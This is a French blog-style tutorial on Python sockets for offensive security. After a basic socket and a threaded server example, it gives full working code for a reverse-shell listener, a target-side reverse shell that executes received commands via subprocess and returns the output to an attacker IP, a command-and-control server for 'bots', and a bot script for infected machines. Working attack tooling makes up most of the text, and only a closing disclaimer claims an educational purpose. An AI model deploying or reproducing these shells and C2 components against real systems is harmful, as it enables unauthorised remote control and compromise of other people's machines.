Cover Image

Utilisation des sockets Python pour la sécurité offensive


Introduction

Dans cet article, nous explorerons comment utiliser les sockets Python dans le contexte de la sécurité offensive. Les sockets permettent la communication entre deux machines via un réseau, et leur maîtrise est cruciale pour les professionnels de la cybersécurité. Nous aborderons des cas pratiques tels que les reverse shells et les serveurs de commande et de contrôle (C2).

Les bases des sockets en Python

Un socket est un point de communication entre deux processus à travers un réseau. En Python, la bibliothèque socket permet de créer et de gérer facilement des sockets.

Création d’un socket en Python

Dans cet exemple, nous créons un socket en utilisant la bibliothèque socket en Python. socket.AF_INET spécifie que nous utilisons IPv4, tandis que socket.SOCK_STREAM indique que nous utilisons le protocole TCP pour la communication.

import socket
# Ceci est un socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Utilisation des sockets avec des threads

Pour créer un programme de socket performant, il est recommandé d’utiliser des threads. L’utilisation de threads permet de gérer plusieurs connexions simultanément sans bloquer l’exécution du programme.

Dans cet exemple, nous créons un serveur simple qui utilise des threads pour gérer plusieurs clients. La fonction handle_client() est utilisée pour gérer chaque connexion client. Lorsqu’une nouvelle connexion est établie, un nouveau thread est créé pour gérer la communication avec ce client, permettant au serveur de continuer à accepter de nouvelles connexions.

import socket
import threading

def handle_client(conn, addr):
    print(f"[+] Connexion établie avec {addr[0]}:{addr[1]}")
    conn.send(b"Bienvenue sur le serveur !")
    conn.close()

host = '0.0.0.0'
port = 12345

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] En attente de connexion sur le port {port}...")
while True:
    conn, addr = s.accept()
    thread = threading.Thread(target=handle_client, args=(conn, addr))
    thread.start()

Reverse Shells avec Python et threads

Un reverse shell est une technique d’attaque dans laquelle un attaquant ouvre une connexion depuis la machine cible vers sa propre machine, permettant un accès complet à la machine cible. Les sockets Python et les threads peuvent être utilisés pour créer des reverse shells performants.

Création d’un serveur d’écoute pour le reverse shell

Dans cet exemple, nous créons un serveur d’écoute sur la machine de l’attaquant à l’aide d’un socket Python et de threads. La fonction handle_reverse_shell() est utilisée pour gérer la connexion de la machine cible. Lorsqu’un reverse shell est établi, un nouveau thread est créé pour gérer la communication avec la machine cible, permettant au serveur d’écoute de continuer à accepter de nouvelles connexions.

import socket
import threading

def handle_reverse_shell(conn, addr):
    print(f"[+] Reverse shell établi avec {addr[0]}:{addr[1]}")
    while True:
        command = input("Entrez une commande: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response = conn.recv(1024).decode('utf-8')
        print(response)

host = '0.0.0.0'
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

print(f"[+] En attente de connexion sur le port {port}...")
while True:
    conn, addr = s.accept()
    thread = threading.Thread(target=handle_reverse_shell, args=(conn, addr))
    thread.start()

Création d’un script de reverse shell pour la machine cible

Sur la machine cible, créez un script Python qui établira une connexion avec le serveur d’écoute de l’attaquant. Ce script utilise un socket pour se connecter à l’adresse IP et au port du serveur d’écoute, puis entre dans une boucle où il reçoit les commandes de l’attaquant, les exécute et envoie les résultats.

import socket
import subprocess

host = "IP_de_l_attaquant"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

Serveurs de commande et de contrôle (C2)

Les serveurs de commande et de contrôle (C2) sont utilisés par les attaquants pour contrôler à distance les machines compromises. Les sockets Python et les threads peuvent être utilisés pour créer un serveur C2 et communiquer avec les machines infectées.

Création d’un serveur C2 avec sockets et threads

Dans cet exemple, nous créons un serveur C2 à l’aide de sockets et de threads. Le serveur attend les connexions des machines infectées et gère chaque connexion dans un thread séparé en utilisant la fonction handle_bot().

import socket
import threading

def handle_bot(conn, addr):
    print(f"[+] Bot connecté: {addr[0]}:{addr[1]}")
    while True:
        command = input(f"Entrez une commande pour le bot {addr[0]}:{addr[1]}: ")
        if command.lower() == "exit":
            break
        conn.send(command.encode('utf-8'))
        response = conn.recv(1024).decode('utf-8')
        print(response)

def select_bot(bots):
    selected_ip = input("Entrez l'adresse IP du bot que vous souhaitez contrôler: ")
    for conn, addr in bots:
        if addr[0] == selected_ip:
            return conn, addr
    return None, None

host = '0.0.0.0'
port = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

bots = []

print(f"[+] En attente de connexion des bots sur le port {port}...")
while True:
    conn, addr = s.accept()
    bots.append((conn, addr))
    print(f"[+] Nouveau bot connecté: {addr[0]}:{addr[1]}")

    while True:
        selected_conn, selected_addr = select_bot(bots)
        if selected_conn is None:
            print("Bot introuvable, veuillez réessayer.")
        else:
            thread = threading.Thread(target=handle_bot, args=(selected_conn, selected_addr))
            thread.start()
            break

Création d’un script de bot pour les machines infectées

Sur les machines infectées, créez un script Python qui établira une connexion avec le serveur C2. Ce script utilise un socket pour se connecter à l’adresse IP et au port du serveur C2, puis entre dans une boucle où il reçoit les commandes du serveur, les exécute et envoie les résultats.

import socket
import subprocess

host = "IP_du_serveur_C2"
port = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode('utf-8'))

s.close()

En résumé, les sockets Python et les threads peuvent être utilisés pour créer des outils de sécurité offensive, tels que les reverse shells et les serveurs C2. Maîtriser ces techniques est essentiel pour les professionnels de la cybersécurité afin d’exploiter les vulnérabilités et de renforcer les défenses.

⚠️ Disclaimer : Le code présenté dans cet article est à des fins éducatives et de recherche seulement. L’auteur et les contributeurs ne sont en aucun cas responsables de toute utilisation malveillante du code ou des informations fournies. En utilisant ces exemples, vous acceptez de ne pas engager l’auteur ou les contributeurs dans toute responsabilité liée à l’utilisation abusive du code.